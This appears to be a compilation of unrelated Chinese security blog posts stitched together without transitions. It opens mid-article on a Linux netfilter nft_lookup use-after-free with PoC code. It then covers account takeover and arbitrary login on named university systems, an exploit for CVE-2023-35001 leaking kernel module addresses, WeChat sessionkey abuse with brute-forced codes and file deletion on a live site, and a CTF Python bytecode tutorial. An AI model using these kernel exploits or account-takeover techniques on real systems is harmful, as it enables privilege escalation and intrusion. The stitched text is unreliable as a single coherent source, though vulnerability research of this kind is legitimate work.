105: if (tb[NFTA_LOOKUP_SET] == NULL ||
106: tb[NFTA_LOOKUP_SREG] == NULL)
107: return -EINVAL;
...
紧接着检索需要搜索的set。
File: linux-5.15\net\netfilter\nft_lookup.c
...
109: set = nft_set_lookup_global(ctx->net, ctx->table, tb[NFTA_LOOKUP_SET],
110: tb[NFTA_LOOKUP_SET_ID], genmask);
111: if (IS_ERR(set))
112: return PTR_ERR(set);
...
最后在完成了set的搜索后,就会进行一个绑定操作,会将表达式的binging接入的set的binding。
File: linux-5.15\net\netfilter\nft_lookup.c
...
148: err = nf_tables_bind_set(ctx, set, &priv->binding);
149: if (err < 0)
150: return err;
...
首先在绑定之前会校验链表是否是匿名并且非空。
File: linux-5.15\net\netfilter\nf_tables_api.c
4606: int nf_tables_bind_set(const struct nft_ctx *ctx, struct nft_set *set,
4607: struct nft_set_binding *binding)
4608: {
...
4615: if (!list_empty(&set->bindings) && nft_set_is_anonymous(set))
4616: return -EBUSY;
...
在通过上面的检测后,就会将当前表达式的加入到set中,
File: linux-5.15\net\netfilter\nf_tables_api.c
...
4643: list_add_tail_rcu(&binding->list, &set->bindings);
...
综上所述,bing的作用实则是维护相同set下的不同的表达式。具体流程如下。
在set创建时,会初始化bindings指向自己本身。
紧接着若有lookup表达式创建,并绑定上述的set时,因此通过set的bingdings,可以检索在当前set上的所有expr。
在上面说过创建表达式的过程中会检测表达式的标志位是否为NFT_EXPR_STATEFUL,如[2]所示
5321: if (!(expr->ops->type->flags & NFT_EXPR_STATEFUL)) --->[2]
5322: goto err_set_elem_expr;
在初始化lookup表达式时,是不会给flags设置值的,因此默认值即为0,因此在创建set的同时创建lookup表达式,lookup表达式的类型是默认为0,是无法绕过检测的。
struct nft_expr_type nft_lookup_type __read_mostly = {
.name = "lookup",
.ops = &nft_lookup_ops,
.policy = nft_lookup_policy,
.maxattr = NFTA_LOOKUP_MAX,
.owner = THIS_MODULE,
};
那么就会进入销毁表达式[3]
5334: err_set_elem_expr:
5335: nft_expr_destroy(ctx, expr); --->[3]
5336: return ERR_PTR(err);
nft_expr_destory函数内除了是否表达式外还会调用nf_tables_expr_destroy函数
File: linux-5.15\net\netfilter\nf_tables_api.c
2823: void nft_expr_destroy(const struct nft_ctx *ctx, struct nft_expr *expr)
2824: {
2825: nf_tables_expr_destroy(ctx, expr);
2826: kfree(expr);
2827: }
在nf_tables_exor_destroy函数会调用表达式的destroy操作
File: linux-5.15\net\netfilter\nf_tables_api.c
2761: static void nf_tables_expr_destroy(const struct nft_ctx *ctx,
2762: struct nft_expr *expr)
2763: {
2764: const struct nft_expr_type *type = expr->ops->type;
2765:
2766: if (expr->ops->destroy)
2767: expr->ops->destroy(ctx, expr); //表达式的删除操作
2768: module_put(type->owner);
2769: }
nft_lookup_destroy函数内部调用了nf_tables_destroy_set函数
File: linux-5.15\net\netfilter\nft_lookup.c
173: static void nft_lookup_destroy(const struct nft_ctx *ctx,
174: const struct nft_expr *expr)
175: {
176: struct nft_lookup *priv = nft_expr_priv(expr);
177:
178: nf_tables_destroy_set(ctx, priv->set);
179: }
在nf_tables_destroy_set函数内部中有一个简单的判断,若不成立那么实际上nf_tables_destroy_set不会做任何操作。那么就会造成一个漏洞,若我们创建的表达式lookup已经被绑定在set上,因此list_empty(&set->bindings为0,那么就会导致destroy操作不会执行任何操作。就会将lookup表达式残留在set->bingdings中。
File: linux-5.15\net\netfilter\nf_tables_api.c
4683: void nf_tables_destroy_set(const struct nft_ctx *ctx, struct nft_set *set)
4684: {
4685: if (list_empty(&set->bindings) && nft_set_is_anonymous(set)) //判断`set->bingings是否为空,以及`set`是否匿名
4686: nft_set_destroy(ctx, set);
4687: }
由于lookup->destory不会执行任何操作,就会导致lookup表达式仍然残留在set->bingdings上,但是由于表达式的标志位不能通过校验,随后该表达式就会被释放。
POC分析
首先创建一个名为set_stable的set,为后续创建lookup表达式做准备。
set_name = "set_stable";
nftnl_set_set_str(set_stable, NFTNL_SET_TABLE, table_name);
nftnl_set_set_str(set_stable, NFTNL_SET_NAME, set_name);
nftnl_set_set_u32(set_stable, NFTNL_SET_KEY_LEN, 1);
nftnl_set_set_u32(set_stable, NFTNL_SET_FAMILY, family);
nftnl_set_set_u32(set_stable, NFTNL_SET_ID, set_id++);
紧接着创建名为set_trigger的set,并同时将标志位设置为NFT_SET_EXPR,那么就能在创建set的同时创建表达式,创建的表达式为lookup表达式,并且搜索的set的名为set_stable,这里需要注意的是,第一个创建的set是为了后续的lookup表达式提供搜索的set,而第二次的set是为了创建set的同时创建lookup表达式,因此第二个set的作用仅仅是为了创建lookup表达式。
set_name = "set_trigger";
nftnl_set_set_str(set_trigger, NFTNL_SET_TABLE, table_name);
nftnl_set_set_str(set_trigger, NFTNL_SET_NAME, set_name);
nftnl_set_set_u32(set_trigger, NFTNL_SET_FLAGS, NFT_SET_EXPR);
nftnl_set_set_u32(set_trigger, NFTNL_SET_KEY_LEN, 1);
nftnl_set_set_u32(set_trigger, NFTNL_SET_FAMILY, family);
nftnl_set_set_u32(set_trigger, NFTNL_SET_ID, set_id);
exprs[exprid] = nftnl_expr_alloc("lookup");
nftnl_expr_set_str(exprs[exprid], NFTNL_EXPR_LOOKUP_SET, "set_stable");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1);
// nest the expression into the set
nftnl_set_add_expr(set_trigger, exprs[exprid]);
最后就是触发漏洞,第三次的set同样的也仅仅是为了创建lookup表达式,由于此时名为set_stable的set->bingdings还存在着被释放掉的lookup表达式的指针,因此在第三次创建的时候就会将新创建的lookup表达式链接到上述已经被释放的lookup表达式中,从而导致的uaf漏洞。
set_name = "set_uaf";
nftnl_set_set_str(set_uaf, NFTNL_SET_TABLE, table_name);
nftnl_set_set_str(set_uaf, NFTNL_SET_NAME, set_name);
nftnl_set_set_u32(set_uaf, NFTNL_SET_FLAGS, NFT_SET_EXPR);
nftnl_set_set_u32(set_uaf, NFTNL_SET_KEY_LEN, 1);
nftnl_set_set_u32(set_uaf, NFTNL_SET_FAMILY, family);
nftnl_set_set_u32(set_uaf, NFTNL_SET_ID, set_id);
exprs[exprid] = nftnl_expr_alloc("lookup");
nftnl_expr_set_str(exprs[exprid], NFTNL_EXPR_LOOKUP_SET, "set_stable");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1);
记一次北京某大学逻辑漏洞挖掘
0x01 信息收集
个人觉得教育src的漏洞挖掘就不需要找真实IP了,我们直接进入正题,收集某大学的子域名,可以用oneforall,这里给大家推荐一个在线查询子域名的网站:https://www.virustotal.com/ 收集到的子域名还是蛮多的,主要是子域名直接就可以复制到txt文件,方便后续域名探针。这里查询到700多个子域名。
子域名探针,我用的是Finger,网上有相应文章介绍安装,不再赘述,直接拿去跑,探针存活的站点
0x02 资产漏洞挖掘
我们需要对存活的站点进行查看,最严谨的做法是一一查看,找寻其中的漏洞,同时这样也最消磨我们这种小白的耐心,这里直接看Finger扫描输出文件里面的title,看是否带着 “系统”、“平台”、“登录”等字眼,这些站点是最好出漏洞的地方,因为他们往往存在登录框,可测的东西就多了。
最终锁定两个系统站点
0x03 任意账号密码重置
国际学生在线申请系统:https://***..edu.cn/user/login?configId=&sign=
有注册功能点就注册,没有就网上查询是否有默认密码进入,这里很幸运,有注册功能点,还不需要管理员审核,直接注册两个账号
账号1:typ123/Typ123456.
账号2:hhh123/Hhh123456.
登录typ123这个账号,进入系统,查找功能点,发现修改密码处,不需要原密码,感觉有洞可挖,直接BP抓包
BP请求响应包部分代码如下:
token=Mjg5NjQ3&newPassword=Typ654321.&confirmPassword=Typ654321.
token值进行base64解码,结果为:289647
登录hhh123账号,记录它的token值,有看没有什么规律
token=Mjg5NjQ2&newPassword=Hhh654321.&confirmPassword=Hhh654321.
解码为:289646
对比发现token值是按注册顺序逐一增大的
这里尝试将typ123的token值改为hhh123的,测试发现,成功修改hhh123账号的密码,一个逻辑漏洞到手
0x04 任意用户登录
汉字全息资源应用系统:https://***.bnu.edu.cn/#/
这里同样注册两个账号
账号1:hhh123/hhh123456
账号2:typ123/typ123456
登录typ123账号,测试内部功能点,都测了一下,没有测出所以然,突然我想起之前看到的文章,抓登录请求返回包,说干就干,果然,有不一样的地方
{"code":200,"desc":"登陆成功!","result":"{\"token\":\"69565637941600f094864d0fcb4adbdd\",\"username\":\"typ123\",\"check\":\"0\",\"mail\":\"3215545898@qq.com\"}"}
这里我试着改一改参数,看登录有没有区别,试了一下,修改username值,就可以登录其他账号,直接将username值typ123改为hhh123
code":200,"desc":"登陆成功!","result":"{\"token\":\"69565637941600f094864d0fcb4adbdd\",\"username\":\"hhh123\",\"check\":\"0\",\"mail\":\"3215545898@qq.com\"}"}
成功,直接登录
又一个逻辑漏洞到手
0x05 总结
逻辑漏洞挖掘主打一个BP抓包,看请求包和请求返回包,分析包的代码,看有没有可以利用的参数,更改参数,不断尝试,去测试所有功能点,就会有意想不到的结果。
Netfilter漏洞提权利用(CVE-2023-35001)
前言
Netfilter是一个用于Linux操作系统的网络数据包过滤框架,它提供了一种灵活的方式来管理网络数据包的流动。Netfilter允许系统管理员和开发人员控制数据包在Linux内核中的处理方式,以实现网络安全、网络地址转换(Network Address Translation,NAT)、数据包过滤等功能。
漏洞成因
在netfilter中存在这nft_byteorder_eval函数,该函数的作用是将寄存器中的数据以主机序或网络序存储。具体代码如下,若采用的操作是NFT_BYTEORDER_NTOH则是将数据从主机序转化为网络序,而NFT_BYTEORDER_HTON则是从网络序转换为主机序。具体转换多少个字节则是用priv->size指定的,在该操作下可以转换二、四、八字节。该漏洞也是由于在对两字节数据进行大小端序转存时出现了错误所导致的。
可以看到代码【1】中使用了联合体存储了源地址和目的地址,联合体的变量分别是u32与u16分别代表的是四字节与两字节的空间大小。然后在代码【2】与【3】处源地址是直接取出u16的变量存储到目的地址的u16变量中。
乍一看似乎很符合常理,因为在处理双字节的时候,联合体中的变量就以u16存储,若处理四字节就转化为u32存储,但是这里存在个问题,在C语言中,联合体的存储空间是以最大空间为标准,换句话说无论联合体取出的变量是u16还是u32,联合体的大小都是占用四个字节的,而不会出现双字节的情况,因此在对s与d两个联合体进行遍历时,会以四字节为单位找到下一个位置。但是在计算长度时是以双字节进行计算的,因此就会导致拷贝时发生溢出。
File: linux-5.19\net\netfilter\nft_byteorder.c
26: void nft_byteorder_eval(const struct nft_expr *expr,
27: struct nft_regs *regs,
28: const struct nft_pktinfo *pkt)
29: {
...
33: 【1】union { u32 u32; u16 u16; } *s, *d; //使用联合体存储源地址与目的地址
...
39: switch (priv->size) {
...
72: case 2:
73: switch (priv->op) {
74: case NFT_BYTEORDER_NTOH:
75: for (i = 0; i < priv->len / 2; i++)
76: 【2】d[i].u16 = ntohs((__force __be16)s[i].u16);//将源地址的数据拷贝到目的地址的低16位中
77: break;
78: case NFT_BYTEORDER_HTON:
79: for (i = 0; i < priv->len / 2; i++)
80: 【3】d[i].u16 = (__force __u16)htons(s[i].u16);
81: break;
82: }
83: break;
84: }
85: }
举个例子,我们自定义一个联合体数组dest,分别向下标0、1以及2进行赋值。
union {short a;long b;} dst[10];
int main()
{
dst[0].a = 0x1122;
dst[1].a = 0x3344;
dst[2].a = 0x5566;
return 0;
}
按照设想的情况,在使用双字节变量进行遍历的时候会以双字节为单位进行遍历,但是实际的情况如下图。可以发现即使每次赋值都是对双字节的变量进行赋值,但是再遍历的时候还是按照联合体中最大的存储空间(四字节)进行遍历的。
因此漏洞的成因如下,因此在使用nft_byteorder函数转换双字节的大小端序时溢出。
模块地址泄露
在nft_byteorder_eval函数内部,溢出的地址是在寄存器下方。因此可以通过控制寄存器的下标值选择需要泄露的地址。
在此需要观察通过nft_byteorder_eval函数可以溢出的范围,priv->len是可以人为控制的,只要满足reg * 4 + priv->len <= 0x50即可,reg代表寄存器的下标值,由于下标为0-4是属于状态值,因此不能通用,我们的reg的值需要从4开始计算起, 那0x50 - 0x10 = 0x40就是我们priv->len能设置最大的值,(0x40 / 2) * 4 = 0x80,因此(0xaf8 ~ 0xaf8 + 0x80)范围内都是可以访问到的。但是现在存在一个问题,虽然我们可以越界访问,但是每次只能获取四字节中的低两个字节。
...
75: for (i = 0; i < priv->len / 2; i++)
76: 【2】d[i].u16 = ntohs((__force __be16)s[i].u16);//将源地址的数据拷贝到目的地址的低16位中
...
将下列值传参给nft_byteorder_eval函数
/*
dst:18
src:8
priv->op:NFT_BYTEORDER_HTON
priv->len:24
priv->size:2
*/
rule_add_byteorder(r, 18, 8, NFT_BYTEORDER_HTON, 24, 2);
泄露的值如下,可以发现高两个字节的值是无法泄露的,因为在nft_byteorder_eval中,每次只拷贝了u16的变量。因此每次泄露只能获取低两字节的值。因此需要寻找其他方法进行地址的泄露。
nf_trace_fill_rule_info函数用于跟踪数据包,并且会将rule->handle的值放进数据包中回传给用户。
想要正常执行nf_trace_fill_rule_info函数需要绕过条件
rule不能为空,并且rule->is_last需要为0,即当前rule不是最后一个
info->type不能是NFT_TRACETYPE_RETURN以及info->verdict->code不能NFT_CONTINUE
/*函数递归
nft_do_chain
->
nft_trace_packet
->
__nft_trace_packet
->
nft_trace_notify
->
nf_trace_fill_rule_info
*/
File: linux-5.19\net\netfilter\nf_tables_trace.c
126: static int nf_trace_fill_rule_info(struct sk_buff *nlskb,
127: const struct nft_traceinfo *info)
128: {
129: if (!info->rule || info->rule->is_last)
130: return 0;
131:
132: /* a continue verdict with ->type == RETURN means that this is
133: * an implicit return (end of chain reached).
134: *
135: * Since no rule matched, the ->rule pointer is invalid.
136: */
137: if (info->type == NFT_TRACETYPE_RETURN &&
138: info->verdict->code == NFT_CONTINUE)
139: return 0;
140:
141: return nla_put_be64(nlskb, NFTA_TRACE_RULE_HANDLE,
142: cpu_to_be64(info->rule->handle),
143: NFTA_TRACE_PAD);
144: }
因此想要通过nf_trace_fill_rule_info函数获取数据的第一步是伪造rule。
在regs变量的下方存在jumpstack变量
结构体nft_jumpstack的构成如下,由chain、rule、last_rule组成,并且该结构体变量在regs下方,并且通过byteorder操作可以访问到jumpstack结构体,那么利用byteorder操作篡改rule。
struct nft_jumpstack {
const struct nft_chain *chain;
const struct nft_rule_dp *rule;
const struct nft_rule_dp *last_rule;
};
接下来看一下nft_rule_dp结构体,可以发现is_last是调用nf_trace_fill_rule_info函数的条件,handle是泄露的值。
struct nft_rule_dp {
u64 is_last:1,
dlen:12,
handle:42; /* for tracing */
unsigned char data[]
__attribute__((aligned(__alignof__(struct nft_expr))));
};
在进入nf_trace_fill_rule_info函数内部前需要经历规则与表达式的遍历。
File: linux-5.19\net\netfilter\nf_tables_core.c
255: for (; rule < last_rule; rule = nft_rule_next(rule)) { //遍历rule
256: nft_rule_dp_for_each_expr(expr, last, rule) { //遍历expr
257: if (expr->ops == &nft_cmp_fast_ops)
258: nft_cmp_fast_eval(expr, ®s);
259: else if (expr->ops == &nft_cmp16_fast_ops)
260: nft_cmp16_fast_eval(expr, ®s);
261: else if (expr->ops == &nft_bitwise_fast_ops)
262: nft_bitwise_fast_eval(expr, ®s);
263: else if (expr->ops != &nft_payload_fast_ops ||
264: !nft_payload_fast_eval(expr, ®s, pkt))
265: expr_call_ops_eval(expr, ®s, pkt); //执行expr->ops
266:
267: if (regs.verdict.code != NFT_CONTINUE)
268: break;
269: }
270:
271: switch (regs.verdict.code) {
272: case NFT_BREAK:
273: regs.verdict.code = NFT_CONTINUE;
274: nft_trace_copy_nftrace(&info);
275: continue;
276: case NFT_CONTINUE:
277: nft_trace_packet(&info, chain, rule,
278: NFT_TRACETYPE_RULE); //跟踪数据包
279: continue;
280: }
281: break;
282:
遍历规则的宏定义如下,若是rule->dlen没有进行改写,那么会根据rule->dlen找到下一个rule,但是当前的rule是伪造的,因此会导致在取出expr会报错。倘若将rule->dlen修改为0,则下个rule的位置就是当前rule + 8。
由于不定长数组unsigned char data[],在sizeof操作中的值为0,因此sizeof(*rule)的值为8。此时将last_rule改写成rule + 8就可以直接跳出循环。
#define nft_rule_next(rule) (void *)rule + sizeof(*rule) + rule->dlen
在完场上述流程后,就可以顺利进入nft_trace_packet函数内部,nft_trace_packet函数也比较简单,实际是调用了__nft_trace_packet函数
File: linux-5.19\net\netfilter\nf_tables_core.c
37: static inline void nft_trace_packet(struct nft_traceinfo *info,
38: const struct nft_chain *chain,
39: const struct nft_rule_dp *rule,
40: enum nft_trace_types type)
41: {
42: if (static_branch_unlikely(&nft_trace_enabled)) {
43: const struct nft_pktinfo *pkt = info->pkt;
44:
45: info->nf_trace = pkt->skb->nf_trace;
46: info->rule = rule;
47: __nft_trace_packet(info, chain, type);
48: }
49: }
可以发现想要进入nft_trace_notify函数需要满足info->trace或info->trace不为空。
File: linux-5.19\net\netfilter\nf_tables_core.c
24: static noinline void __nft_trace_packet(struct nft_traceinfo *info,
25: const struct nft_chain *chain,
26: enum nft_trace_types type)
27: {
28: if (!info->trace || !info->nf_trace)
29: return;
30:
31: info->chain = chain;
32: info->type = type;
33:
34: nft_trace_notify(info);
35: }
使用meta表达式可以设置skb->nf_trace,将skb->nf_trace设置为非空就可以进入到nft_trace_notify函数。
File: linux-5.19\net\netfilter\nft_meta.c
...
443: case NFT_META_NFTRACE:
444: value8 = nft_reg_load8(sreg);
445:
446: skb->nf_trace = !!value8;
447: break;
...
在nft_trace_notify函数内部,还会判断是否订阅NFNLGRP_NFTRACE。没订阅则无法继续执行。
File: linux-5.19\net\netfilter\nf_tables_trace.c
...
176: if (!nfnetlink_has_listeners(nft_net(pkt), NFNLGRP_NFTRACE))
177: return;
...
在libnml库中使用mnl_socket_setsockopt函数进行netlink的组订阅,由于在使用宏NFNLGRP_NFTRACE编译时会提示找不到该值,因此这里使用实际值代替了。
static int group = 9;
if (mnl_socket_setsockopt(nleak, NETLINK_ADD_MEMBERSHIP, &group,
sizeof(int)) < 0) {
perror("mnl_socket_setsockopt");
exit(EXIT_FAILURE);
}
接下来就需要具体如何伪造rule,通过byteorder操作可以首先可以将原先的chain、rule以及last_rule的地址泄露,但是只能泄露四字节。
由于我们需要找到符合上述条件的rule,并且我们只有rule的最低两个字节,因此搜索范围不大,因此需要在泄露的rule_low附近寻找一个合适的模块地址。在存储泄露的rule之前存储利用immediate以及meta_set操作,我们选择其中一个进行泄露即可。
伪造的方式也比较简单,由于is_last与dlen都需要设置为0,因此我们只需要找到两个字节为0的值,作为伪造的rule即可,伪造的rule如下。
修改后的结果如下
由于handle实际是占用42比特,但是有3个比特被设置为0了,因此实际泄露的值只有39比特,但是由于模块地址的高4个字节都是固定的0xffffffff,因此不影响模块地址的泄露。通过从数据包中提取数据得到handle的值为后,简单移位操作就可以还原。
module = ((leak << 13) >> 16);
最后泄露模块基地址成功。
总结
总结一下模块基地址的泄露流程
1. 构造基础链
设置NFT_JUMP表达式
通过meta设置为NFT_META_NFTRACE
2. 泄露链
byteorder表达式触发漏洞,第一次读chain、rule以及last_rule,第二次改写为chain,fake rule以及fake last_rule
dynset表达式泄露chain、rule、last_rule
3. 订阅NFNLGRP_NFTRACE组,接收数据包
4. 后续接着分享如何绕过kaslr以及最终提权的利用。
原版exp使用go语言写的,我使用c语言重写了一版。
完整exp:https://github.com/h0pe-ay/Vulnerability-Reproduction/tree/master/CVE-2023-35001(nftables)(c语言)
一次奇妙的任意用户登录实战
刚刚进行了微信sessionkey的学习,正准备实战一下,就发现了这个神奇的网站,预知后事如何。请继续向下看去
1. 目标
2. 开局一个登录框
3. 首先,直接弱口令走起来,万一留有测试的账号呢
尝试,1311111111,13333333333.13888888888,未果
测试多了还有验证码防止爆破,也就不再继续尝试爆破了
弱口令g
4. 点击微信快捷登录,发现sessionkey(步入正题)
点击允许,数据包发现sessionkey参数
找到我们github上找到的sessionkey利用插件,把session_key(加密解密的key)encrypt_data(向数据库提交的值)iv(偏移量)的值都复制到工具上进行利用
但是怎么找到这个系统用户的手机号呢(万能的贴吧,抖音等地方获得了老师的手机号)
成功登录,任意用户登录加1
5. 发现这个接收了sessionkey的加密数据后,还会发送一个绑定手机号的数据包(又一个任意用户登录)
修改请求包的user参数,发现没有鉴权,直接输入用户手机号即可绑定登录
感觉离谱,任意用户登录又加1
6.输入名字即可查看学生学籍信息(编码解码后名字为张杰)
敏感信息泄露加1
7. 维修处可以上传图片,尝试利用
准备试试绕过,结果白名单加黑名单过滤,文件上传gg
但是删除文件发现是直接DELETE请求,还是直接删路径,只能说开发太牛了,真的离谱
测试不同用户文件可以直接删除,没有进一步尝试(害怕系统崩溃),任意文件删除加1
8. 发现这个还有一个预约平台,鉴于上个系统的离谱,继续尝试利用(非原图,原图特征太明显了)
进入后发现只有验证码登录
尝试爆破四位数验证码
成功登录,任意用户登录又加1
总结:
第一次碰见这么多的任意用户登录,建议加强鉴权,隐藏sessionkey值,登录设置次数要求,防止爆破。另外,进行漏洞挖掘,建议证明即可,未经客户允许禁止扩大危害,盲目扩大危害可能有法律风险。
CTF中常见的四种python逆向
说在前面:
什么是pyc文件?
pyc是一种二进制文件,是由py文件经过编译后,生成的文件,是一种byte code,py文件变成pyc文件后,加载的速度有所提高,pyc 文件是 Python 编译过的字节码文件。它是 Python 程序在运行过程中由源代码(通常是 .py 文件)自动或手动编译产生的二进制文件。
而且pyc是一种跨平台的字节码,是由[Python]的虚拟机来执行的,这个是类似于[Java]或者.NET的虚拟机的概念。pyc的内容,是跟python的版本相关的,不同版本编译后的pyc文件是不同的,2.5编译的pyc文件,2.4版本的python是无法执行的。
为什么需要pyc文件?
因为py文件是可以直接看到源码的,如果你是开发商业软件的话,不可能把源码也泄漏出去吧?所以就需要编译为pyc后,再发布出去。当然,pyc文件也是可以反编译的,不同版本编译后的pyc文件是不同的,根据python源码中提供的opcode,可以根据pyc文件反编译出py文件源码,网上可以找到一个反编译python2.3版本的pyc文件的工具,不过该工具从python2.4开始就要收费了,如果需要反编译出新版本的pyc文件的话,就需要自己动手了,不过你可以自己修改python的源代码中的opcode文件,重新编译python,从而防止不法分子的破解。
pyc文件
解法:uncompyle6直接反编译
eg.
def check():
flag=1+1
if(flag==2):
return "right"
return "error"
print(check())
这是我们所写的一个简单的python例子
现在我们来生成pyc文件 这里用的是python3
pyhton -m test.py
pyc文件也是可以运行的
我们在对应的文件夹的搜索框下输入powershell
然后输入
python .\test.pyc
可以看到即使是运行py文件也是可以运行的
但区别的是我们没法看到pyc文件里面是什么东西,即使拖进IDA里面也无济于事
所以这里我们需要下载一个工具
uncompyle6.exe
在终端打开并输入
pip install uncompyle
安装后包含uncompyle6 但是版本为3.8.0 会导致一些软件的反编译失败建议使用下面命令回到3.7.4版本
pip install uncompyle6==3.7.4
安装以后,我们回到我们的tmp目录并打开powershell输入
uncompyle6.exe .\test.py
这里我们就得到了源码
接下来的操作就跟windows逆向别无二致了
txt里面是pyc字节码
解法:
读py字节码
根据opcode文件查询意思
我们先来得到我们test.py例子的字节码
在powershell下先输入python 然后输入
import dis,marshal
f=open("test.pyc", "rb").read()
f
dis和marshal库 一个是装载库 一个是反编译字节码的库
我们可以将我们的test.pyc导入010Editor中配合着一起看
python2的前八个字节是python2的魔术字
python3的前十六个字节是python3的魔术字
所以我们可以不用读前十六位 我们只需要读后十六位的东西
code=marshal.loads(f[16:])
code
现在我们读进来的是二进制数据,我们可以用dis来进行反编译 就会得到python的字节码 可以理解成python的汇编读出来了
dis.dis(code)
这就是python的汇编
我们这里是直接将pyc文件uncompyle6回去的,但是在CTF中一般都是把python的汇编直接复制粘贴出来丢给我们...
所以我们只能硬看...或者配合点东西 比如python的opcode一起看
补充一点:python2是3个字节为1个指令 python3是2个字节为1个指令
比如test.pyc中LOAD_CONST 指令就占用了0,1两个字节
所以下条指令就从3开始了
1 0 LOAD_CONST 0 (<code object keyinit at 0x0000028C1CC11D20, file "crackPYC.py", line 1>)
2 LOAD_CONST 1 ('keyinit')
4 MAKE_FUNCTION 0
6 STORE_NAME 0 (keyinit)
8 8 LOAD_NAME 1 (__name__)
10 LOAD_CONST 2 ('__main__')
12 COMPARE_OP 2 (==)
14 POP_JUMP_IF_FALSE 250
9 16 LOAD_NAME 2 (print)
18 LOAD_CONST 3 ('Can you crack pyc?')
20 CALL_FUNCTION 1
22 POP_TOP
10 24 LOAD_NAME 3 (input)
26 LOAD_CONST 4 ('Plz give me your flag:')
28 CALL_FUNCTION 1
30 STORE_NAME 4 (str) #将输入的字符存入str内
11 32 LOAD_CONST 5 (108)
34 LOAD_CONST 6 (17)
36 LOAD_CONST 7 (42)
38 LOAD_CONST 8 (226)
40 LOAD_CONST 9 (158)
42 LOAD_CONST 10 (180)
44 LOAD_CONST 11 (96)
46 LOAD_CONST 12 (115)
48 LOAD_CONST 13 (64)
50 LOAD_CONST 14 (24)
52 LOAD_CONST 15 (38)
54 LOAD_CONST 16 (236)
56 LOAD_CONST 17 (179)
58 LOAD_CONST 18 (173)
60 LOAD_CONST 19 (34)
62 LOAD_CONST 20 (22)
64 LOAD_CONST 21 (81)
66 LOAD_CONST 22 (113)
68 LOAD_CONST 15 (38)
70 LOAD_CONST 23 (215)
72 LOAD_CONST 24 (165)
74 LOAD_CONST 25 (135)
76 LOAD_CONST 26 (68)
78 LOAD_CONST 27 (7)
12 80 LOAD_CONST 28 (119)
82 LOAD_CONST 29 (97)
84 LOAD_CONST 30 (45)
86 LOAD_CONST 31 (254)
88 LOAD_CONST 32 (250)
90 LOAD_CONST 33 (172)
92 LOAD_CONST 34 (43)
94 LOAD_CONST 35 (62)
96 BUILD_LIST 32 #建立容量为32的列表
98 STORE_NAME 5 (text) #以上32个数据为text数组的数值
13 100 LOAD_NAME 6 (len)
102 LOAD_NAME 4 (str)
104 CALL_FUNCTION 1
106 LOAD_CONST 36 (32)
108 COMPARE_OP 3 (!=)
110 POP_JUMP_IF_TRUE 140 #判断str即输入字符串的长度是否为32,不是则跳转到140
112 LOAD_NAME 4 (str)
114 LOAD_CONST 37 (0)
116 LOAD_CONST 27 (7)
118 BUILD_SLICE 2
120 BINARY_SUBSCR
122 LOAD_CONST 38 ('DASCTF{')
124 COMPARE_OP 3 (!=)
126 POP_JUMP_IF_TRUE 140 #判断str字符串的前七位是否为'DASCTF{',不是则跳转到140
128 LOAD_NAME 4 (str)
130 LOAD_CONST 39 (31)
132 BINARY_SUBSCR
134 LOAD_CONST 40 ('}')
136 COMPARE_OP 3 (!=)
138 POP_JUMP_IF_FALSE 154 #判断str字符串的最后一位也就是31位是否为'}',不是则跳转到154
#因为如果不跳转继续执行的话就会执行到输入字符串符合的一段代码使程序 #退出
14 >> 140 LOAD_NAME 2 (print)
142 LOAD_CONST 41 ('Bye bye~~')
144 CALL_FUNCTION 1
146 POP_TOP
15 148 LOAD_NAME 7 (exit)
150 CALL_FUNCTION 0
152 POP_TOP #退出程序
16 >> 154 LOAD_NAME 8 (list)
156 LOAD_NAME 4 (str)
158 CALL_FUNCTION 1
160 STORE_NAME 9 (st) #创建列表st
17 162 BUILD_LIST 0
164 STORE_NAME 10 (key)
18 166 LOAD_NAME 0 (keyinit)
168 LOAD_NAME 10 (key)
170 CALL_FUNCTION 1
172 POP_TOP
19 174 SETUP_LOOP 48 (to 224)
176 LOAD_NAME 11 (range)
178 LOAD_CONST 36 (32)
180 CALL_FUNCTION 1
182 GET_ITER
>> 184 FOR_ITER 36 (to 222)
186 STORE_NAME 12 (i) #相当于for i in range(0,32)
20 188 LOAD_NAME 13 (ord)
190 LOAD_NAME 4 (str)
192 LOAD_NAME 12 (i)
194 BINARY_SUBSCR
196 CALL_FUNCTION 1
198 LOAD_NAME 10 (key)
200 LOAD_NAME 12 (i)
202 LOAD_NAME 6 (len)
204 LOAD_NAME 10 (key)
206 CALL_FUNCTION 1
208 BINARY_MODULO #key元素少于str元素,所以要把i和key的长度取余避免越界
210 BINARY_SUBSCR
212 BINARY_XOR
214 LOAD_NAME 9 (st)
216 LOAD_NAME 12 (i)
218 STORE_SUBSCR #此处代码将str和key中的元素进行异或处理后存入st
220 JUMP_ABSOLUTE 184 #相当于st[i] = ord(str[i]) ^ key[i % len(key)]
>> 222 POP_BLOCK
21 >> 224 LOAD_NAME 9 (st)
226 LOAD_NAME 5 (text)
228 COMPARE_OP 2 (==)
230 POP_JUMP_IF_FALSE 242 #对比st数组和text数组,不相等则跳转到地址242处
22 232 LOAD_NAME 2 (print)
234 LOAD_CONST 42 ('Congratulations and you are good at PYC!')
236 CALL_FUNCTION 1
238 POP_TOP
240 JUMP_FORWARD 8 (to 250)
24 >> 242 LOAD_NAME 2 (print)
244 LOAD_CONST 43 ('Sorry,plz learn more about pyc.')
246 CALL_FUNCTION 1
248 POP_TOP
>> 250 LOAD_CONST 44 (None)
252 RETURN_VALUE
Disassembly of <code object keyinit at 0x0000028C1CC11D20, file "crackPYC.py", line 1>:
2 0 LOAD_CONST 1 (0)
2 STORE_FAST 1 (num)
3 4 SETUP_LOOP 42 (to 48)
6 LOAD_GLOBAL 0 (range)
8 LOAD_CONST 2 (8)
10 CALL_FUNCTION 1
12 GET_ITER
>> 14 FOR_ITER 30 (to 46)
16 STORE_FAST 2 (i) #相当于for i in range(0,8)
#从这里我们可以知道key的长度为8
4 18 LOAD_FAST 1 (num)
20 LOAD_CONST 3 (7508399208111569251)
22 BINARY_SUBTRACT
24 LOAD_CONST 4 (4294967295)
26 BINARY_MODULO
28 STORE_FAST 1 (num)
5 30 LOAD_FAST 0 (key)
32 LOAD_METHOD 1 (append)
34 LOAD_FAST 1 (num)
36 LOAD_CONST 5 (24)
38 BINARY_RSHIFT #不理解这一句的意思
40 CALL_METHOD 1 #但这一段代码就是给key赋值
42 POP_TOP
44 JUMP_ABSOLUTE 14
>> 46 POP_BLOCK
>> 48 LOAD_CONST 0 (None)
50 RETURN_VALUE
